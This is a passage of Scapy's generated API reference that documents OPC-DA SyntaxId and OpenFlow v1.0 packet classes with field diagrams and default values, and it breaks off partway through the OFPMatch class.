+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         INTERFACEUUID                         |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          VERSIONMAJOR         |          VERSIONMINOR         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. SyntaxId                           


SyntaxId fields






	interfaceUUID

	UUIDField

	UUID('00010001-0001-0001-0001-000100010001')



	versionMajor

	ShortField

	0



	versionMinor

	ShortField

	0















	
class scapy.contrib.opc_da.SyntaxIdLE(_pkt, /, *, interfaceUUID=UUID('00010001-0001-0001-0001-000100010001'), versionMajor=0, versionMinor=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/opc_da.py#L270-L272]

	Bases: SyntaxId


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         INTERFACEUUID                         |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          VERSIONMAJOR         |          VERSIONMINOR         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. SyntaxIdLE                          


SyntaxIdLE fields






	interfaceUUID

	UUIDField

	UUID('00010001-0001-0001-0001-000100010001')



	versionMajor

	ShortField

	0



	versionMinor

	ShortField

	0

















            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.openflow

OpenFlow v1.0.1

OpenFlow is an open standard used in SDN deployments.
Specifications can be retrieved from https://www.opennetworking.org/


	
class scapy.contrib.openflow.OFPAT(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow.py#L441-L450]

	Bases: Packet


	
aliastypes

	




	
classmethod dispatch_hook(_pkt=None, *args, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow.py#L442-L447]

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow.py#L449-L450]

	








	
class scapy.contrib.openflow.OFPATEnqueue(_pkt, /, *, type=11, len=16, port=0, pad=0, queue_id=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow.py#L410-L416]

	Bases: OpenFlow


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              PORT             |              PAD              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            QUEUE ID                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. OFPATEnqueue                         


OFPATEnqueue fields






	type

	ShortEnumField

	11



	len

	ShortField

	16



	port

	ShortEnumField

	0



	pad

	XBitField  (48 bits)

	0



	queue_id

	IntField

	0















	
class scapy.contrib.openflow.OFPATOutput(_pkt, /, *, type=0, len=8, port=0, max_len=65535)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow.py#L325-L330]

	Bases: OpenFlow


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              PORT             |            MAX LEN            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. OFPATOutput                         


OFPATOutput fields






	type

	ShortEnumField

	0



	len

	ShortField

	8



	port

	ShortEnumField

	0



	max_len

	ShortEnumField

	65535















	
class scapy.contrib.openflow.OFPATSetDlDst(_pkt, /, *, type=5, len=16, dl_addr='0', pad=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow.py#L364-L369]

	Bases: OpenFlow


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            DL ADDR                            |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |              PAD              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. OFPATSetDlDst                        


OFPATSetDlDst fields






	type

	ShortEnumField

	5



	len

	ShortField

	16



	dl_addr

	MACField

	'0'



	pad

	XBitField  (48 bits)

	0















	
class scapy.contrib.openflow.OFPATSetDlSrc(_pkt, /, *, type=4, len=16, dl_addr='0', pad=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow.py#L356-L361]

	Bases: OpenFlow


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            DL ADDR                            |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |              PAD              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. OFPATSetDlSrc                        


OFPATSetDlSrc fields






	type

	ShortEnumField

	4



	len

	ShortField

	16



	dl_addr

	MACField

	'0'



	pad

	XBitField  (48 bits)

	0















	
class scapy.contrib.openflow.OFPATSetNwDst(_pkt, /, *, type=7, len=8, nw_addr='0')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow.py#L379-L383]

	Bases: OpenFlow


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            NW ADDR                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. OFPATSetNwDst                        


OFPATSetNwDst fields






	type

	ShortEnumField

	7



	len

	ShortField

	8



	nw_addr

	IPField

	'0'















	
class scapy.contrib.openflow.OFPATSetNwSrc(_pkt, /, *, type=6, len=8, nw_addr='0')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow.py#L372-L376]

	Bases: OpenFlow


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            NW ADDR                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. OFPATSetNwSrc                        


OFPATSetNwSrc fields






	type

	ShortEnumField

	6



	len

	ShortField

	8



	nw_addr

	IPField

	'0'















	
class scapy.contrib.openflow.OFPATSetNwToS(_pkt, /, *, type=8, len=8, nw_tos=0, pad=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow.py#L386-L391]

	Bases: OpenFlow


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     NW TOS    |                      PAD                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                        Fig. OFPATSetNwToS                        


OFPATSetNwToS fields






	type

	ShortEnumField

	8



	len

	ShortField

	8



	nw_tos

	ByteField

	0



	pad

	X3BytesField

	0















	
class scapy.contrib.openflow.OFPATSetTpDst(_pkt, /, *, type=10, len=8, tp_port=0, pad=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow.py#L402-L407]

	Bases: OpenFlow


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            TP PORT            |              PAD              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. OFPATSetTpDst                        


OFPATSetTpDst fields






	type

	ShortEnumField

	10



	len

	ShortField

	8



	tp_port

	ShortField

	0



	pad

	XShortField

	0















	
class scapy.contrib.openflow.OFPATSetTpSrc(_pkt, /, *, type=9, len=8, tp_port=0, pad=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow.py#L394-L399]

	Bases: OpenFlow


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            TP PORT            |              PAD              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. OFPATSetTpSrc                        


OFPATSetTpSrc fields






	type

	ShortEnumField

	9



	len

	ShortField

	8



	tp_port

	ShortField

	0



	pad

	XShortField

	0















	
class scapy.contrib.openflow.OFPATSetVLANPCP(_pkt, /, *, type=2, len=8, vlan_pcp=0, pad=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow.py#L341-L346]

	Bases: OpenFlow


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VLAN PCP   |                      PAD                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. OFPATSetVLANPCP                       


OFPATSetVLANPCP fields






	type

	ShortEnumField

	2



	len

	ShortField

	8



	vlan_pcp

	ByteField

	0



	pad

	X3BytesField

	0















	
class scapy.contrib.openflow.OFPATSetVLANVID(_pkt, /, *, type=1, len=8, vlan_vid=0, pad=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow.py#L333-L338]

	Bases: OpenFlow


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            VLAN VID           |              PAD              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. OFPATSetVLANVID                       


OFPATSetVLANVID fields






	type

	ShortEnumField

	1



	len

	ShortField

	8



	vlan_vid

	ShortField

	0



	pad

	XShortField

	0















	
class scapy.contrib.openflow.OFPATStripVLAN(_pkt, /, *, type=3, len=8, pad=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow.py#L349-L353]

	Bases: OpenFlow


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              PAD                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. OFPATStripVLAN                        


OFPATStripVLAN fields






	type

	ShortEnumField

	3



	len

	ShortField

	8



	pad

	XIntField

	0















	
class scapy.contrib.openflow.OFPATVendor(_pkt, /, *, type=65535, len=8, vendor=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow.py#L419-L423]

	Bases: OpenFlow


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             VENDOR                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. OFPATVendor                         


OFPATVendor fields






	type

	ShortEnumField

	65535



	len

	ShortField

	8



	vendor

	IntField

	0















	
class scapy.contrib.openflow.OFPETBadAction(_pkt, /, *, version=1, type=1, len=None, xid=0, errtype=2, errcode=0, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow.py#L614-L630]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            ERRTYPE            |            ERRCODE            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. OFPETBadAction                        


OFPETBadAction fields






	version

	ByteEnumField

	1



	type

	ByteEnumField

	1



	len

	ShortField

	None



	xid

	IntField

	0



	errtype

	ShortEnumField

	2



	errcode

	ShortEnumField

	0



	data

	OFPacketField

	b''















	
class scapy.contrib.openflow.OFPETBadRequest(_pkt, /, *, version=1, type=1, len=None, xid=0, errtype=1, errcode=0, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow.py#L595-L611]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            ERRTYPE            |            ERRCODE            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. OFPETBadRequest                       


OFPETBadRequest fields






	version

	ByteEnumField

	1



	type

	ByteEnumField

	1



	len

	ShortField

	None



	xid

	IntField

	0



	errtype

	ShortEnumField

	1



	errcode

	ShortEnumField

	0



	data

	OFPacketField

	b''















	
class scapy.contrib.openflow.OFPETFlowModFailed(_pkt, /, *, version=1, type=1, len=None, xid=0, errtype=3, errcode=0, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow.py#L633-L646]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            ERRTYPE            |            ERRCODE            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. OFPETFlowModFailed                      


OFPETFlowModFailed fields






	version

	ByteEnumField

	1



	type

	ByteEnumField

	1



	len

	ShortField

	None



	xid

	IntField

	0



	errtype

	ShortEnumField

	3



	errcode

	ShortEnumField

	0



	data

	OFPacketField

	b''















	
class scapy.contrib.openflow.OFPETHelloFailed(_pkt, /, *, version=1, type=1, len=None, xid=0, errtype=0, errcode=0, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow.py#L583-L592]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            ERRTYPE            |            ERRCODE            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. OFPETHelloFailed                       


OFPETHelloFailed fields






	version

	ByteEnumField

	1



	type

	ByteEnumField

	1



	len

	ShortField

	None



	xid

	IntField

	0



	errtype

	ShortEnumField

	0



	errcode

	ShortEnumField

	0



	data

	OFPacketField

	b''















	
class scapy.contrib.openflow.OFPETPortModFailed(_pkt, /, *, version=1, type=1, len=None, xid=0, errtype=4, errcode=0, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow.py#L649-L658]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            ERRTYPE            |            ERRCODE            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. OFPETPortModFailed                      


OFPETPortModFailed fields






	version

	ByteEnumField

	1



	type

	ByteEnumField

	1



	len

	ShortField

	None



	xid

	IntField

	0



	errtype

	ShortEnumField

	4



	errcode

	ShortEnumField

	0



	data

	OFPacketField

	b''















	
class scapy.contrib.openflow.OFPETQueueOpFailed(_pkt, /, *, version=1, type=1, len=None, xid=0, errtype=5, errcode=0, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow.py#L661-L671]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            ERRTYPE            |            ERRCODE            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. OFPETQueueOpFailed                      


OFPETQueueOpFailed fields






	version

	ByteEnumField

	1



	type

	ByteEnumField

	1



	len

	ShortField

	None



	xid

	IntField

	0



	errtype

	ShortEnumField

	5



	errcode

	ShortEnumField

	0



	data

	OFPacketField

	b''















	
class scapy.contrib.openflow.OFPFlowStats(_pkt, /, *, length=None, table_id=0, pad1=0, match=<OFPMatch  |>, duration_sec=0, duration_nsec=0, priority=0, idle_timeout=0, hard_timeout=0, pad2=0, cookie=0, packet_count=0, byte_count=0, actions=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow.py#L936-L962]

	Bases: Packet


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow.py#L961-L962]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             LENGTH            |    TABLE ID   |      PAD1     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             MATCH             |          DURATION SEC         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |         DURATION NSEC         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |            PRIORITY           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          IDLE TIMEOUT         |          HARD TIMEOUT         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              PAD2                             |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |             COOKIE            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |          PACKET COUNT         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |           BYTE COUNT          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |            ACTIONS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. OFPFlowStats                         


OFPFlowStats fields






	length

	ShortField

	None



	table_id

	ByteField

	0



	pad1

	XByteField

	0



	match

	PacketField

	<OFPMatch  |>



	duration_sec

	IntField

	0



	duration_nsec

	IntField

	0



	priority

	ShortField

	0



	idle_timeout

	ShortField

	0



	hard_timeout

	ShortField

	0



	pad2

	XBitField  (48 bits)

	0



	cookie

	LongField

	0



	packet_count

	LongField

	0



	byte_count

	LongField

	0



	actions

	PacketListField

	[]











	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow.py#L955-L959]

	








	
class scapy.contrib.openflow.OFPMatch(_pkt, /, *, wildcards1=None, nw_dst_mask=None, nw_src_mask=None, wildcards2=None, in_port=None, dl_src=None, dl_dst=None, dl_vlan=None, dl_vlan_pcp=None, pad1=None, dl_type=None, nw_tos=None, nw_proto=None, pad2=None, nw_src='0', nw_dst='0', tp_src=None, tp_dst=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow.py#L111-L241]

	Bases: Packet


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow.py#L140-L141]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       WILDCARDS1      |NW DST MASK|NW SRC MASK|   WILDCARDS2  |
